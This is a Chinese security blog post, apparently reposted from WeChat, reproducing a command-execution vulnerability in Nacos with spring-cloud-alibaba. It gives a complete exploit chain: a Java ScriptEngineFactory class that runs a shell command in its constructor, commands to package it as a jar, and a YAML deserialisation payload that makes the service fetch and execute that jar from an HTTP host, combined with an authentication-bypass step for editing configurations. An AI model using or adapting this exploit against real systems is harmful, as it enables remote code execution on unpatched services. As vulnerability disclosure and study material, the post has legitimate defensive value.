Nacos历史洞——Nacos命令执行漏洞
2023-4-6 11:21:26 Author: 白帽兔(查看原文) 阅读量:327 收藏

前言

Nacos属于阿里巴巴的一个开源的项目,通过一组简单的特性集,Nacos能够帮助用户实现服务动态发现、服务配置、服务元数据及流量管理。

Nacos历史版本存在命令执行漏洞。

漏洞影响范围

版本:

2.2.x

2.1.x

2.0.x

1.5.x

漏洞复现

  1. 首先启动一个nacos,服务访问地址为http://127.0.0.1:8848

  2. 在nacos添加dataId为'test-server',其余为默认的配置,内容如下:

server:
port: 12345
  1. 启动一个使用了spring-cloud-starter-alibaba-nacos-config的服务,它的bootstrap.yml配置如下:

spring:
application:
name: test-server
cloud:
nacos:
config:
file-extension: yaml
discovery:
server-addr: http://127.0.0.1:8848

可以发现,服务在12345端口启动了

4.编写java文件(EvilScript.java)

import java.util.List;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;

/**
* @author threedr3am
*/
public class EvilScript implements ScriptEngineFactory {

public EvilScript() throws Throwable {
Runtime.getRuntime().exec("touch /tmp/pwn");
}

@Override
public String getEngineName() {
return null;
}

@Override
public String getEngineVersion() {
return null;
}

@Override
public List<String> getExtensions() {
return null;
}

@Override
public List<String> getMimeTypes() {
return null;
}

@Override
public List<String> getNames() {
return null;
}

@Override
public String getLanguageName() {
return null;
}

@Override
public String getLanguageVersion() {
return null;
}

@Override
public Object getParameter(String key) {
return null;
}

@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}

@Override
public String getOutputStatement(String toDisplay) {
return null;
}

@Override
public String getProgram(String... statements) {
return null;
}

@Override
public ScriptEngine getScriptEngine() {
return null;
}
}

5.编译java文件,并打包成jar

javac EvilScript.java
mkdir -p META-INF/services/
echo 'EvilScript' > META-INF/services/javax.script.ScriptEngineFactory
jar -cvf EvilScript.jar EvilScript.class META-INF

6.把得到的EvilScript.jar放到http可以下载到的地方,例如:

http://127.0.0.1:80/EvilScript.jar
  1. 使用nacos的认证绕过漏洞https://github.com/alibaba/nacos/issues/4593创建账号,去修改dataId为test-server的yaml配置文件

server:
port: 8080
evil: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:80/EvilScript.jar"]]]]
  1. 此时可以看到,test-server这个服务会通过http://127.0.0.1:80/EvilScript.jar加载恶意jar并执行,导致服务端命令执行,创建了/tmp/pwn文件

原文地址:

https://github.com/alibaba/spring-cloud-alibaba/issues/1910

免责声明

本公众号文章以技术分享学习为目的。  

由于传播、利用本公众号发布文章而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任。  

一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!


文章来源: http://mp.weixin.qq.com/s?__biz=MzA4NzUzNzgyMw==&mid=2247485486&idx=1&sn=70089c6e44ab9bbda9e4f756877944ca&chksm=9036a9dea74120c833c10a7f485f549c7be1364cb5ab227fc8a31968cba36a1e458947d1728e#rd
如有侵权请联系:admin#unsafe.sh